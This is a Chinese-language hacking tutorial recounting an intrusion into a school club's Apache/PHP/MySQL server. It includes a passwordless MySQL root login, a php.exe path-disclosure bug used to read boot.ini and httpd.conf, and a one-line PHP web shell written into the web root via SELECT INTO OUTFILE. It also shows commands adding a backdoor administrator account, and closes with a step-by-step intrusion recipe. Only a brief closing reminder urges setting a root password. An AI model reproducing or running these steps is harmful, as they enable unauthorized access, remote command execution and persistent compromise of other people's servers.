选择显示字体大小

看紧你的3306端口,一次通过mysql的入侵


  用superscan扫了一下
某个c类的网段,寻找开放80端口的机器,结果就只有一台机器
开放了80端口,试着连了一下,是我们学校某个社团的的主页。
从端口的banner来看应该是apache(win32),证实一下
te.net 211.87.xxx.xxx
get(回车)
<!doctype html public "-//ietf//dtd html 2.0//en">
<html><head>
<title>501 method
not implemented</title>
</head><body>
<h1>method not implemented</h1>
get to /index
.html not supported.<p>
invalid method in request get<p>
<hr>
<address>apache/1.3.2
2 server at www.xxxxxx.com port 80</address>
</body></html

遗失对主机的连接。
c:\>
呵呵,这下看得更清楚了

据我猜测,应该是“apache+mysql+php”的黄金组合吧
习惯性的mysql -h 211.87.xxx.xxx
果然连上了
welcome to the mysql monitor. commands end with or \g.
your mysql connection id is 17 to server version: 3.23.53-max-nt


type help; or \h for help. type \c to clear the buffer.


mysql>


断开试着
mysql -h 211.87.xxx.xxx -u root -p
password:
welcome to the mysql monitor. commands end with or \g.
your mysql connection id is 18 to server version: 3.23.53-max-nt


type help; or \h for help. type \c to clear the buffer.


mysql>
呵呵,大家看到了他的root用户没有密码,这是我今天要说的第一个主题。
这是相当的危险的,碰见这种情况,有99.999&#37;的可能可以进入
既然使用的apache+php,只要找到他在本地存放的web的物理路径就为所欲为了
呵呵
下一个问题是我今天要说的重点怎么样才能知道那台主机的存放的web的物理路径?
方法有很多种,在这里我介绍2种方法供初学者参考
首先要告诉大家的是低版本的apache+php有一个漏洞
提http://xxx.xxxx.xxx.xxx/php/php.exe?对方的物理文件名
就可以把那个物理文件下载下来。


于是提http://211.87.xxx.xxx/php/php.exe?c:\a.txt
返回
no input file specified. (没有这个漏洞的话提示找不到网页)
好的,这说明他有这个漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:\boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\windows [operating 


systems] multi(0)disk(0)rdisk(0)partition(1)\windows="microsoft windows xp professional" 


/fastdetect 
呵呵,装的还是xp。
好了,我们可以猜测对方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:\apache\conf\httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?d:\apache\conf\httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?e:\apache\conf\httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?c:\program files\apache\conf\httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?f:\apache\conf\httpd.conf
猜到了,返回了好多东西
找到我们想要的
# documentroot: the directory out of which you will serve your
# documents. by default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
documentroot "d:\homepage"
看得出来对方的主目录是d:\homepage
下面的事就好办了,现在就想得到shell?
先别急,我们先来看看另一种方法
那就是利用mysql的错误
随便的浏览一下他的网页找到一处利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


长得太帅了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
warning: supplied argument is not a valid mysql result resource in 


d:\homepage\skonline\study\list.php on line 231
呵呵,一览无余。
然后,然后就是制造我们的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
welcome to the mysql monitor. commands end with or \g.
your mysql connection id is 18 to server version: 3.23.53-max-nt


type help; or \h for help. type \c to clear the buffer.


mysql> use test;
database changed
mysql> create table t(cmd text);
query ok, 0 rows affected (0.08 sec)


mysql> insert into t values(<?system(&#36;c);?>);
query ok, 1 row affected (12.52 sec)


mysql> select * from t into d:\\homepage\\test.php;


我的shell很简单<?system(&#36;c);?>,不到20个字符,但他已经足够了
可以让我执行任意命令,由此足以看出php的强大。


怎么用?
提交
http://211.87.xxx.xxx/test.php?c.net ;user kid /add
命令成功完成
http://211.87.xxx.xxx/test.php?c.net ;localgroup administrators kid /add
命令成功完成


呵呵,测试成功,通过!
剩下的就是你自由发挥了。


由此我们不难总结出这一类的入侵步骤:
1,找到没有密码的3306端口
2,找到对方的web物理路径
3,制造shell
4,后续工作


呵呵,在这里提醒大家,如果你想要或正在用mysql的时候
千万要给自己的root设上一个强有力的密码。
看紧你的3306,呵呵。


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons